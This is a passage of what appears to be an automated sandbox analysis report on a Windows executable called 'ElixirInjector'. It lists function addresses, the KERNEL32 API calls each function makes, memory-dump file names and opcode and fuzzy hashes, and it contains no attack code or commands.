                                                                                              • IsDebuggerPresent.KERNEL32 ref: 00F2F910
                                                                                              • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00F2F930
                                                                                              • UnhandledExceptionFilter.KERNEL32(?), ref: 00F2F93A
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
                                                                                              • String ID:
                                                                                              • API String ID: 254469556-0
                                                                                              • Opcode ID: 8dbfc10ad7471964bbb3d6528872d8de3e10a9dc8ca3dc150bf60868ffd72cc9
                                                                                              • Instruction ID: 3640f0f43d96a5349cc025245d951138a5c83c8277bb1bf360c488a4d291eb3b
                                                                                              • Opcode Fuzzy Hash: 8dbfc10ad7471964bbb3d6528872d8de3e10a9dc8ca3dc150bf60868ffd72cc9
                                                                                              • Instruction Fuzzy Hash: 84312975D1522D9BDB20DFA4DD897CCBBB8AF18704F1041AAE40CAB250EB759B889F44
                                                                                              Function 00F2E6A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • VirtualQuery.KERNEL32(80000000,00F2E5E8,0000001C,00F2E7DD,00000000,?,?,?,?,?,?,?,00F2E5E8,00000004,00F71CEC,00F2E86D), ref: 00F2E6B4
                                                                                              • GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00F2E5E8,00000004,00F71CEC,00F2E86D), ref: 00F2E6CF
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: InfoQuerySystemVirtual
                                                                                              • String ID: D
                                                                                              • API String ID: 401686933-2746444292
                                                                                              • Opcode ID: 45cdfcdcb91fd9f4e4c1ace096ad9b07a4a955f563dad51e836b448d1375bc86
                                                                                              • Instruction ID: 2d8f43703d17559952da947a7762406ae556787eea07041981c3605845636831
                                                                                              • Opcode Fuzzy Hash: 45cdfcdcb91fd9f4e4c1ace096ad9b07a4a955f563dad51e836b448d1375bc86
                                                                                              • Instruction Fuzzy Hash: 93012B32E001196BDF14DE29DC09BDD7BAAEFC4334F1CC120ED19D7150D634D9059680
                                                                                              Function 00F38EBD Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00F38FB5
                                                                                              • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00F38FBF
                                                                                              • UnhandledExceptionFilter.KERNEL32(-00000325,?,?,?,?,?,00000000), ref: 00F38FCC
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                              • String ID:
                                                                                              • API String ID: 3906539128-0
                                                                                              • Opcode ID: cba035ca208cfb31e970934f729e3cff3ac2078d47aec359375be1dd228f8aa6
                                                                                              • Instruction ID: c925017df36d58ee443633e309bedb0894f143000eb19c9fe4920c8e2d7e91bd
                                                                                              • Opcode Fuzzy Hash: cba035ca208cfb31e970934f729e3cff3ac2078d47aec359375be1dd228f8aa6
                                                                                              • Instruction Fuzzy Hash: 4131C674D1122C9BCB21DF64DC88798BBB4AF58320F5042EAE81CA6250EB749F859F44
                                                                                              Function 00F3B348 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: .
                                                                                              • API String ID: 0-248832578
                                                                                              • Opcode ID: bbdea2a5b4ecd10e15185239cd03caae7c5172ccfcbcf30beb1528ba10ff36f7
                                                                                              • Instruction ID: 968a460edc5a2cd8a21eb5d0d33860b3cf88633ecce7ff3431094addceb396e0
                                                                                              • Opcode Fuzzy Hash: bbdea2a5b4ecd10e15185239cd03caae7c5172ccfcbcf30beb1528ba10ff36f7
                                                                                              • Instruction Fuzzy Hash: 0B310471D00259AFCB24DE78CC94EFA7BBDDB85334F0441A8EA1897252E7349E45AB50
                                                                                              Function 00F3D440 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
                                                                                              • Instruction ID: 50d018c2b6a2ecdfc5ce6d694077febd53d8a6589cf2b25a0c26e0c1ac414351
                                                                                              • Opcode Fuzzy Hash: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
                                                                                              • Instruction Fuzzy Hash: F5021C71E012199BDF14CFA9D8806ADF7F1EF88324F258269D919E7384D731AE41DB90
                                                                                              Function 00F2AF0F Relevance: 3.0, APIs: 2, Instructions: 45COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00F2AF35
                                                                                              • GetNumberFormatW.KERNEL32(00000400,00000000,?,00F4E72C,?,?), ref: 00F2AF84
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: FormatInfoLocaleNumber
                                                                                              • String ID:
                                                                                              • API String ID: 2169056816-0
                                                                                              • Opcode ID: 0bf5c5d3e8f9be1b2fde63123369b06c22012d0c1e713857ea90f82c5a394dc2
                                                                                              • Instruction ID: 63f965cfc98ea0e350dcdffe558a65c7a878feb5408d313004f3d98567cf005d
                                                                                              • Opcode Fuzzy Hash: 0bf5c5d3e8f9be1b2fde63123369b06c22012d0c1e713857ea90f82c5a394dc2
                                                                                              • Instruction Fuzzy Hash: 7201713A50031CAAD7109F64EC45F9A7BBCFF5A710F405022FE1597151D374AA28DBA5
                                                                                              Function 00F16C74 Relevance: 3.0, APIs: 2, Instructions: 16windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetLastError.KERNEL32(00F16DDF,00000000,00000400), ref: 00F16C74
                                                                                              • FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00F16C95
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorFormatLastMessage
                                                                                              • String ID:
                                                                                              • API String ID: 3479602957-0
                                                                                              • Opcode ID: 6432cfeba5fa67ebec42aa8cac154fd62157c1de80df96c1c0eb63f346d0dba2
                                                                                              • Instruction ID: 512321c715ac34544da3f0a6e950040e5f88cf411c6b4defb54f7a8a786e3424
                                                                                              • Opcode Fuzzy Hash: 6432cfeba5fa67ebec42aa8cac154fd62157c1de80df96c1c0eb63f346d0dba2
                                                                                              • Instruction Fuzzy Hash: 71D0A935344300BFFA100B21AC06F6A7BA9BF52B56F18C004BB80E80E0DA708460B628
                                                                                              Function 00F419F4 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00F419EF,?,?,00000008,?,?,00F4168F,00000000), ref: 00F41C21
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ExceptionRaise
                                                                                              • String ID:
                                                                                              • API String ID: 3997070919-0
                                                                                              • Opcode ID: 697832b9522bf82707ef56ecdfea58d2adbc3ecb8a4853670b4a78c53a43bcf0
                                                                                              • Instruction ID: d23001713b668c0ec8fb47e7934b38cda6839a9bb258b1861225bc72d8293098
                                                                                              • Opcode Fuzzy Hash: 697832b9522bf82707ef56ecdfea58d2adbc3ecb8a4853670b4a78c53a43bcf0
                                                                                              • Instruction Fuzzy Hash: 43B13932610608DFD719CF28C88ABA57FE0FF45364F258658E99ACF2A1C335E991DB40
                                                                                              Function 00F2F654 Relevance: 1.6, APIs: 1, Instructions: 147COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00F2F66A
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: FeaturePresentProcessor
                                                                                              • String ID:
                                                                                              • API String ID: 2325560087-0
                                                                                              • Opcode ID: 24f555ac0f3827f78113f2a7d5933758069101d8096b8e2f3a3dfea908c20d54
                                                                                              • Instruction ID: 740e10fa478abb731cd2f976bb31b52c05cef3e8d1079f7d7b4ef2eff6ad2032
                                                                                              • Opcode Fuzzy Hash: 24f555ac0f3827f78113f2a7d5933758069101d8096b8e2f3a3dfea908c20d54
                                                                                              • Instruction Fuzzy Hash: 5C5180B1E106298FEB24CF58E9857AEBBF4FB48324F24853AD815EB250D3749948DF50
                                                                                              Function 00F1B146 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetVersionExW.KERNEL32(?), ref: 00F1B16B
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Version
                                                                                              • String ID:
                                                                                              • API String ID: 1889659487-0
                                                                                              • Opcode ID: 0abb9f4b761da6bb145cde1886d362b7c091bfb6ec3ac3b5b1ca830bff3d3426
                                                                                              • Instruction ID: cda5072fda927c2d91d4a6aec766e9753609298e4573ff53b8beef4a2e2ff3f3
                                                                                              • Opcode Fuzzy Hash: 0abb9f4b761da6bb145cde1886d362b7c091bfb6ec3ac3b5b1ca830bff3d3426
                                                                                              • Instruction Fuzzy Hash: 83F0F9B9D0024C9FDB18CB28EC916D577A1B759315F114695DA1593390C374A980EE60
                                                                                              Function 00F140FE Relevance: 1.5, Strings: 1, Instructions: 276COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: gj
                                                                                              • API String ID: 0-4203073231
                                                                                              • Opcode ID: 4c54c7db68b6de36c19e5e820a320b48b8471d6125eabd69db418cf8a963ee24
                                                                                              • Instruction ID: 0db01dfd5ad519f3a930128e71b195c7027da74ceb6c6af73e9a70e5acd263d9
                                                                                              • Opcode Fuzzy Hash: 4c54c7db68b6de36c19e5e820a320b48b8471d6125eabd69db418cf8a963ee24
                                                                                              • Instruction Fuzzy Hash: 0FC13776A183818FC354CF29D880A5AFBE1BFC8308F19892DE998D7311D734E945DB96
                                                                                              Function 00F2F9D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SetUnhandledExceptionFilter.KERNEL32(Function_0001F9F0,00F2F3A5), ref: 00F2F9DA
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ExceptionFilterUnhandled
                                                                                              • String ID:
                                                                                              • API String ID: 3192549508-0
                                                                                              • Opcode ID: 4c6677d58303752e14ba7834f0cd535bb08d8f5655c3b795669e6e2e9e839a1c
                                                                                              • Instruction ID: 4a8af90f2cccc81cddb43e9d12764b646ebde4e04edf4a75088fc6cbef3180e9
                                                                                              • Opcode Fuzzy Hash: 4c6677d58303752e14ba7834f0cd535bb08d8f5655c3b795669e6e2e9e839a1c
                                                                                              • Instruction Fuzzy Hash:
                                                                                              Function 00F3C030 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: HeapProcess
                                                                                              • String ID:
                                                                                              • API String ID: 54951025-0
                                                                                              • Opcode ID: 30754263754314e93bc0176c8025d637ec1b9c2f494ba6f8b1020d30793f1ac3
                                                                                              • Instruction ID: af23666c5aa81cc42cc0e1dd819da8d57531afdbd3df526c8ea0fe863c478ef3
                                                                                              • Opcode Fuzzy Hash: 30754263754314e93bc0176c8025d637ec1b9c2f494ba6f8b1020d30793f1ac3
                                                                                              • Instruction Fuzzy Hash: A0A00174A022099B97848F35AE496493AA9AAA6695709406AA909C5164EA2485A0BA02
                                                                                              Function 00F262CA Relevance: .8, Instructions: 829COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: b6eb7e628c131b77d64230efdf3487e18faf11e64f64428999ea75b77c32f4a9
                                                                                              • Instruction ID: fd0a1ad8f2d14e42be13de01a807d2b20c220cdbf23479d65a7dc0f8c6d8a2e9
                                                                                              • Opcode Fuzzy Hash: b6eb7e628c131b77d64230efdf3487e18faf11e64f64428999ea75b77c32f4a9
                                                                                              • Instruction Fuzzy Hash: 50620771A047948FCB25CF28D8906B9BBE1BF95304F08896DE8DACB346D734E945EB11
                                                                                              Function 00F277EF Relevance: .8, Instructions: 817COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: ea09b33de8b9cfbb8209bfa1a333bac43e177ce32cd9c289141a45ee596f7016
                                                                                              • Instruction ID: d5c6bdd22dfa828e870feaf20317416cb31fd732b24b28a94cccbb29f11a2674
                                                                                              • Opcode Fuzzy Hash: ea09b33de8b9cfbb8209bfa1a333bac43e177ce32cd9c289141a45ee596f7016
                                                                                              • Instruction Fuzzy Hash: 77624871A0C3958FCB14DF28D890AB9BBE1BFD5300F18896DE89A8B346D730E945DB15
                                                                                              Function 00F1F461 Relevance: .7, Instructions: 694COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 1878276514fa88b4dc78be59b3a11d6ef0ca78ea051cd932ee5a1b4ffb735fc3
                                                                                              • Instruction ID: 4bdb335506747f500eb1262912dfbc8024808dc73fce6bcf879b7b2fed528f60
                                                                                              • Opcode Fuzzy Hash: 1878276514fa88b4dc78be59b3a11d6ef0ca78ea051cd932ee5a1b4ffb735fc3
                                                                                              • Instruction Fuzzy Hash: 5E525972A087018FC718CF19C891A6AF7E1FFCC314F498A2DE5959B255D334EA19CB86
                                                                                              Function 00F27153 Relevance: .5, Instructions: 536COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
